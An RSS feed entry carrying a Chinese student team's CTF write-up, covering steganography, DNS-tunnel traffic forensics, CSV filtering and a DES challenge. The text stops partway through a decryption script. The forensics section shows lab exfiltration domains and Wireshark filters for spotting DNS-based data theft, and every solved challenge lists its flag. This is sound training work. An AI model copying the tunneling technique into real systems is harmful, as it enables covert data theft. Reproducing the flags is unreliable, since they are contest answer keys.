<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>CTF on M15tak3のBlog</title>
    <link>https://blog.m15tak3.com/tags/ctf/</link>
    <description>Recent content from M15tak3のBlog</description>
    <generator>Hugo</generator>
    <language>zh-CN</language>
    
    <managingEditor>skyman.soul@gmail.com (M15tak3)</managingEditor>
    <webMaster>skyman.soul@gmail.com (M15tak3)</webMaster>
    
    <copyright>本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！</copyright>
    
    <lastBuildDate>Sun, 24 May 2026 17:00:00 +0800</lastBuildDate>
    
    
    <atom:link href="https://blog.m15tak3.com/tags/ctf/index.xml" rel="self" type="application/rss&#43;xml" />
    

    
      
    

    <item>
      <title>2026cuz第一次校赛wp</title>
      <link>https://blog.m15tak3.com/post/2026-01cuzwp/</link>
      <pubDate>Sun, 24 May 2026 17:00:00 &#43;0800</pubDate>
      <author>skyman.soul@gmail.com (M15tak3)</author>
      <guid>https://blog.m15tak3.com/post/2026-01cuzwp/</guid>
      <description>
        <![CDATA[<h1>2026cuz第一次校赛wp</h1><p>作者：M15tak3（skyman.soul@gmail.com）</p>
        
          <h1 id="2026cuz第一次校赛wp">
<a class="header-anchor" href="#2026cuz%e7%ac%ac%e4%b8%80%e6%ac%a1%e6%a0%a1%e8%b5%9bwp"></a>
2026cuz第一次校赛wp
</h1><p>本wp由She11ud0联合战队联合撰写，M15tak3主编，yunli，hp，YuuJ13r，opureye，洪声越Jeff，沁deer_不哈一同撰写。</p>
<h2 id="misc">
<a class="header-anchor" href="#misc"></a>
MISC
</h2><h3 id="圣经签到">
<a class="header-anchor" href="#%e5%9c%a3%e7%bb%8f%e7%ad%be%e5%88%b0"></a>
圣经（签到）
</h3><p>通过010edit可以直接找到flag</p>
<p><img src="/images/2026cuz_1_wp/image-20260518130347075.png" alt="image-20260518130347075"></p>
<p><code>flag{th1s_is_a_flag_S0_easy}</code></p>
<h3 id="tif">
<a class="header-anchor" href="#tif"></a>
TIF
</h3><p>通过010edit打开找到疑似flag，尝试发现不是，后发现有hint，说是64，猜测可能有base64加密，尝试发现成功</p>
<p><img src="/images/2026cuz_1_wp/image-20260518131111260.png" alt="image-20260518131111260"></p>
<p><img src="/images/2026cuz_1_wp/image-20260518131327213.png" alt="image-20260518131327213"></p>
<p><code>flag{sulphone0729}</code></p>
<h3 id="zip">
<a class="header-anchor" href="#zip"></a>
ZIP
</h3><p>解压发现失败，密码也招募到，猜测可能有伪加密，在010edit中打开</p>
<p><img src="/images/2026cuz_1_wp/image-20260518131813494.png" alt="image-20260518131813494"></p>
<p>打开后发现确实有伪加密的情况，讲0x6的位置的09修改</p>
<p><img src="/images/2026cuz_1_wp/image-20260518131945962.png" alt="image-20260518131945962"></p>
<p>在最后发现文件结尾多出一段，猜测藏东西了</p>
<p><img src="/images/2026cuz_1_wp/image-20260518142532057.png" alt="image-20260518142532057"></p>
<p>用binwalk提取获得一张空白的图片，猜测可能lsb，用stegsolve看一下，找到flag</p>
<p><img src="/images/2026cuz_1_wp/image-20260518142917368.png" alt="image-20260518142917368"></p>
<p><code>flag{sulphone0956}</code></p>
<h3 id="wav">
<a class="header-anchor" href="#wav"></a>
WAV
</h3><p>给了一段音频（听歌放松一下）</p>
<p><img src="/images/2026cuz_1_wp/image-20260518144948032.png" alt="image-20260518144948032"></p>
<p>发现频谱图里面藏了flag，但提交后不正确，猜测可能还有，或者不正确</p>
<p><img src="/images/2026cuz_1_wp/image-20260518145021237.png" alt="image-20260518145021237"></p>
<p>将音频听完或看波形图</p>
<p><img src="/images/2026cuz_1_wp/image-20260518145114978.png" alt="image-20260518145114978"></p>
<p>有摩斯，厨师一下</p>
<p><img src="/images/2026cuz_1_wp/image-20260518145338207.png" alt="image-20260518145338207"></p>
<p>感觉像是一部分，拼接提交成功</p>
<p><code>flag{CTFLeeathKSKBLZDJD}</code></p>
<h3 id="流量包审计">
<a class="header-anchor" href="#%e6%b5%81%e9%87%8f%e5%8c%85%e5%ae%a1%e8%ae%a1"></a>
流量包审计
</h3><p>题目描述：内网的备份主机每天凌晨都会产生一些访问日志。管理员发现其中一台机器的 DNS 查询行为不太正常，但 HTTP 访问看起来只是普通巡检。
请从附件流量包中找出被带出的信息。</p>
<p>题面提到“备份主机”“DNS 查询行为不太正常”，同时又说 HTTP 访问看起来像普通巡检。因此第一反应可以把重点放在 DNS 流量上：HTTP 很可能只是干扰，真正的数据通过 DNS 查询带出。</p>
<p>DNS 隧道题常见特征有：</p>
<ul>
<li>
<p>查询域名里出现较长、随机感较强的 label；</p>
</li>
<li>
<p>多个查询使用同一个可疑域名后缀；</p>
</li>
<li>
<p>label 里包含 base32 / base64 / hex 这类编码字符；</p>
</li>
<li>
<p>数据被拆成多个分片，需要重新排序后拼接。</p>
</li>
</ul>
<p>打开 <code>office_backup.pcap</code> 后，可以先看协议统计或直接在 Wireshark 里过滤 DNS：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">dns
</span></span></code></pre></div><p>会看到一些正常查询，例如：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">www.example.com
</span></span><span class="line"><span class="cl">api.weather.local
</span></span><span class="line"><span class="cl">cdn.hzh-lab.local
</span></span><span class="line"><span class="cl">time.windows.com
</span></span><span class="line"><span class="cl">printer-01.office.local
</span></span></code></pre></div><p>同时还会看到一批格式很规整的域名：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">07-2d4bqibyb.exfil.hzh-lab.local
</span></span><span class="line"><span class="cl">06-q4aiccuha.exfil.hzh-lab.local
</span></span><span class="line"><span class="cl">08-ci.exfil.hzh-lab.local
</span></span><span class="line"><span class="cl">04-cpqjcqcau.exfil.hzh-lab.local
</span></span><span class="line"><span class="cl">...
</span></span></code></pre></div><p>这类域名的共同后缀是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">exfil.hzh-lab.local
</span></span></code></pre></div><p>其中 <code>exfil</code> 本身就有“数据外带”的含义，基本可以确认这就是主线。</p>
<p><strong>过滤有效 DNS 查询</strong></p>
<p>为了只看客户端发出的 DNS 查询，可以使用：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">dns.flags.response == 0
</span></span></code></pre></div><p>再加上可疑域名后缀：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">dns.flags.response == 0 &amp;&amp; dns.qry.name contains &#34;exfil.hzh-lab.local&#34;
</span></span></code></pre></div><p>如果想进一步锁定 TXT 查询，可以加上 DNS 查询类型：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">dns.flags.response == 0 &amp;&amp; dns.qry.type == 16 &amp;&amp; dns.qry.name contains &#34;exfil.hzh-lab.local&#34;
</span></span></code></pre></div><p>这里 <code>dns.qry.type == 16</code> 表示 TXT 记录查询。很多 DNS 隧道会借助 TXT 记录传输文本或编码后的二进制数据。</p>
<p>需要注意，流量里还有一个干扰域名：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">00-not-a-real-piece.exfil.hzh-lab.fake
</span></span></code></pre></div><p>它虽然包含 <code>exfil</code>，但后缀是 <code>exfil.hzh-lab.fake</code>，不是目标后缀 <code>exfil.hzh-lab.local</code>，应当排除。</p>
<p>按前面的两位序号排序后得到：</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>数据片段</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>00</td>
          <td><code>a4mrgcaja</code></td>
      </tr>
      <tr>
          <td>01</td>
          <td><code>uhqmli3a4</code></td>
      </tr>
      <tr>
          <td>02</td>
          <td><code>hq6ea6gab</code></td>
      </tr>
      <tr>
          <td>03</td>
          <td><code>aaaq6c4nq</code></td>
      </tr>
      <tr>
          <td>04</td>
          <td><code>cpqjcqcau</code></td>
      </tr>
      <tr>
          <td>05</td>
          <td><code>lisaqcaoc</code></td>
      </tr>
      <tr>
          <td>06</td>
          <td><code>q4aiccuha</code></td>
      </tr>
      <tr>
          <td>07</td>
          <td><code>2d4bqibyb</code></td>
      </tr>
      <tr>
          <td>08</td>
          <td><code>ci</code></td>
      </tr>
  </tbody>
</table>
<p>拼接数据片段：</p>
<p><code>a4mrgcajauhqmli3a4hq6ea6gabaaaq6c4nqcpqjcqcaulisaqcaocq4aiccuha2d4bqibybci</code></p>
<p>这串长度是 74。base32 解码要求长度是 8 的倍数，因此需要补 <code>=</code>：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">74 % 8 = 2
</span></span></code></pre></div><p>所以补 6 个 <code>=</code>：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">a4mrgcajauhqmli3a4hq6ea6gabaaaq6c4nqcpqjcqcaulisaqcaocq4aiccuha2d4bqibybci======
</span></span></code></pre></div><p>base32 解码后得到的还不是明文。</p>
<p>想试试往flag靠，因为正常flag格式为flag{}，开头是确定的，可以拿这个尝试，试试异或</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">07 xor 66 = 61 -&gt; a
</span></span><span class="line"><span class="cl">19 xor 6c = 75 -&gt; u
</span></span><span class="line"><span class="cl">13 xor 61 = 72 -&gt; r
</span></span><span class="line"><span class="cl">08 xor 67 = 6f -&gt; o
</span></span><span class="line"><span class="cl">09 xor 7b = 72 -&gt; r
</span></span></code></pre></div><p>得到：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">auror
</span></span></code></pre></div><p>这已经非常像一个英文单词/短 key 的开头了。尝试以答案提交不正确，结合题目，猜测会不会答案中有dns类似的题目中的解，</p>
<p>尝试d，可以推出：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">05 xor 64 = 61 -&gt; a
</span></span></code></pre></div><p>所以 key 是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">aurora
</span></span></code></pre></div><p>异或后flag正确</p>
<p><code>flag{dns_tunnel_packets_have_sequence_numbers}</code></p>
<h3 id="csv-filter-oracle">
<a class="header-anchor" href="#csv-filter-oracle"></a>
CSV Filter Oracle
</h3><p>这题的关键不是手工看表，而是使用真正的 CSV 解析器。附件里有带逗号、双引号、换行的字段，按行切分会把记录数弄错；Excel 也容易改掉带前导零的字段。</p>
<p>筛选时按题面逐条实现即可：</p>
<ol>
<li>对 <code>site</code>、<code>channel</code>、<code>verdict</code> 做首尾空白清理和大小写归一。</li>
<li>把 <code>severity</code>、<code>bytes_out</code> 严格解析为整数，<code>bytes_out</code> 不能接受 <code>2,048</code> 这类带分隔符的写法。</li>
<li>把 <code>temp_c</code> 解析为 Decimal，并规范到一位小数。</li>
<li>检查 <code>sample_id</code> 的格式和数字和条件。</li>
<li>重新计算 <code>proof</code>，只取 SHA-256 十六进制摘要前 10 位。</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">csv</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">decimal</span> <span class="kn">import</span> <span class="n">Decimal</span><span class="p">,</span> <span class="n">InvalidOperation</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pathlib</span> <span class="kn">import</span> <span class="n">Path</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">ROOT</span> <span class="o">=</span> <span class="n">Path</span><span class="p">(</span><span class="vm">__file__</span><span class="p">)</span><span class="o">.</span><span class="n">resolve</span><span class="p">()</span><span class="o">.</span><span class="n">parents</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">SRC</span> <span class="o">=</span> <span class="n">ROOT</span> <span class="o">/</span> <span class="s2">&#34;dist&#34;</span> <span class="o">/</span> <span class="s2">&#34;raw_events.csv&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">OUT</span> <span class="o">=</span> <span class="n">ROOT</span> <span class="o">/</span> <span class="s2">&#34;solve&#34;</span> <span class="o">/</span> <span class="s2">&#34;answer.csv&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">clean</span><span class="p">(</span><span class="n">value</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">(</span><span class="n">value</span> <span class="ow">or</span> <span class="s2">&#34;&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">(</span><span class="s2">&#34; </span><span class="se">\t\r\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">lower</span><span class="p">(</span><span class="n">value</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">clean</span><span class="p">(</span><span class="n">value</span><span class="p">)</span><span class="o">.</span><span class="n">casefold</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">parse_int</span><span class="p">(</span><span class="n">value</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">text</span> <span class="o">=</span> <span class="n">clean</span><span class="p">(</span><span class="n">value</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="ow">not</span> <span class="n">text</span> <span class="ow">or</span> <span class="ow">not</span> <span class="n">text</span><span class="o">.</span><span class="n">isdecimal</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">        <span class="k">raise</span> <span class="ne">ValueError</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">int</span><span class="p">(</span><span class="n">text</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">parse_temp</span><span class="p">(</span><span class="n">value</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">Decimal</span><span class="p">(</span><span class="n">clean</span><span class="p">(</span><span class="n">value</span><span class="p">))</span><span class="o">.</span><span class="n">quantize</span><span class="p">(</span><span class="n">Decimal</span><span class="p">(</span><span class="s2">&#34;0.1&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">proof</span><span class="p">(</span><span class="n">row</span><span class="p">,</span> <span class="n">bytes_int</span><span class="p">,</span> <span class="n">temp</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">clean</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s1">&#39;record_id&#39;</span><span class="p">])</span><span class="si">}</span><span class="s2">|</span><span class="si">{</span><span class="n">clean</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s1">&#39;sample_id&#39;</span><span class="p">])</span><span class="si">}</span><span class="s2">|</span><span class="si">{</span><span class="n">bytes_int</span><span class="si">}</span><span class="s2">|</span><span class="si">{</span><span class="n">temp</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">payload</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()[:</span><span class="mi">10</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">good</span><span class="p">(</span><span class="n">row</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">lower</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;site&#34;</span><span class="p">])</span> <span class="o">!=</span> <span class="s2">&#34;sector-7&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">lower</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;channel&#34;</span><span class="p">])</span> <span class="o">!=</span> <span class="s2">&#34;aurora&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">lower</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;verdict&#34;</span><span class="p">])</span> <span class="o">!=</span> <span class="s2">&#34;pass&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">parse_int</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;severity&#34;</span><span class="p">])</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">        <span class="n">bytes_int</span> <span class="o">=</span> <span class="n">parse_int</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;bytes_out&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="ow">not</span> <span class="mi">1024</span> <span class="o">&lt;=</span> <span class="n">bytes_int</span> <span class="o">&lt;=</span> <span class="mi">4096</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">        <span class="n">temp</span> <span class="o">=</span> <span class="n">parse_temp</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;temp_c&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="ow">not</span> <span class="n">Decimal</span><span class="p">(</span><span class="s2">&#34;-3.0&#34;</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="n">temp</span> <span class="o">&lt;=</span> <span class="n">Decimal</span><span class="p">(</span><span class="s2">&#34;1.0&#34;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">        <span class="n">sample</span> <span class="o">=</span> <span class="n">clean</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;sample_id&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sample</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">9</span> <span class="ow">or</span> <span class="ow">not</span> <span class="n">sample</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">&#34;CSV-&#34;</span><span class="p">)</span> <span class="ow">or</span> <span class="ow">not</span> <span class="n">sample</span><span class="p">[</span><span class="mi">4</span><span class="p">:]</span><span class="o">.</span><span class="n">isdigit</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="nb">sum</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">ch</span><span class="p">)</span> <span class="k">for</span> <span class="n">ch</span> <span class="ow">in</span> <span class="n">sample</span><span class="p">[</span><span class="mi">4</span><span class="p">:])</span> <span class="o">%</span> <span class="mi">7</span> <span class="o">!=</span> <span class="mi">3</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">lower</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;proof&#34;</span><span class="p">])</span> <span class="o">==</span> <span class="n">proof</span><span class="p">(</span><span class="n">row</span><span class="p">,</span> <span class="n">bytes_int</span><span class="p">,</span> <span class="n">temp</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="p">(</span><span class="ne">KeyError</span><span class="p">,</span> <span class="ne">ValueError</span><span class="p">,</span> <span class="n">InvalidOperation</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="n">SRC</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s2">&#34;r&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8-sig&#34;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">DictReader</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">rows</span> <span class="o">=</span> <span class="p">[</span><span class="n">row</span> <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">reader</span> <span class="k">if</span> <span class="n">good</span><span class="p">(</span><span class="n">row</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl">        <span class="n">headers</span> <span class="o">=</span> <span class="n">reader</span><span class="o">.</span><span class="n">fieldnames</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">rows</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="k">lambda</span> <span class="n">row</span><span class="p">:</span> <span class="n">clean</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;record_id&#34;</span><span class="p">]))</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="n">OUT</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s2">&#34;w&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8&#34;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">writer</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">DictWriter</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="n">fieldnames</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">writer</span><span class="o">.</span><span class="n">writeheader</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="n">writer</span><span class="o">.</span><span class="n">writerows</span><span class="p">(</span><span class="n">rows</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;wrote </span><span class="si">{</span><span class="n">OUT</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;rows: </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">rows</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span>
</span></span></code></pre></div><h2 id="crypto">
<a class="header-anchor" href="#crypto"></a>
Crypto
</h2><h3 id="最没用的建议">
<a class="header-anchor" href="#%e6%9c%80%e6%b2%a1%e7%94%a8%e7%9a%84%e5%bb%ba%e8%ae%ae"></a>
最没用的建议
</h3><p>拿到题目，我们看到txt中有一段密文</p>
<p><code>+uH6grA85v22A5pmtue1Y7b/a490C4pKm5BA+Jf5LL+Z7B2g/GaO6Q==</code></p>
<p>还有一堆问xxxx，我们看到xxxx都是aabb的形式，其中仔细查看发现缺少了<code>oopp</code></p>
<p>查看py文件</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">DES</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">pad</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">KEY</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;********&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">FLAG</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;CUZCTF{*************************}&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">IV</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span> <span class="o">*</span> <span class="n">DES</span><span class="o">.</span><span class="n">block_size</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">encrypt</span><span class="p">(</span><span class="n">plaintext</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">cipher</span> <span class="o">=</span> <span class="n">DES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">DES</span><span class="o">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="o">=</span><span class="n">IV</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">padded</span> <span class="o">=</span> <span class="n">pad</span><span class="p">(</span><span class="n">plaintext</span><span class="p">,</span> <span class="n">DES</span><span class="o">.</span><span class="n">block_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">cipher</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">padded</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="n">ct</span> <span class="o">=</span> <span class="n">encrypt</span><span class="p">(</span><span class="n">FLAG</span><span class="p">,</span> <span class="n">KEY</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">base64</span><span class="o">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">ct</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span>
</span></span></code></pre></div><p>这是个明显的des加密，其中key为8个字母的，对照前文，我们猜测<code>oopp</code>可能为key，那么由于它是4位的，且题目提示问了一遍没有结果所以问了两遍，所以double一下变成<code>ooppoopp</code>,那这个题目就很简单了</p>
<p>用cyberchef或脚本均可，这里展示脚本</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">DES</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">unpad</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">KEY</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;ooppoopp&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">IV</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span> <span class="o">*</span> <span class="mi">8</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
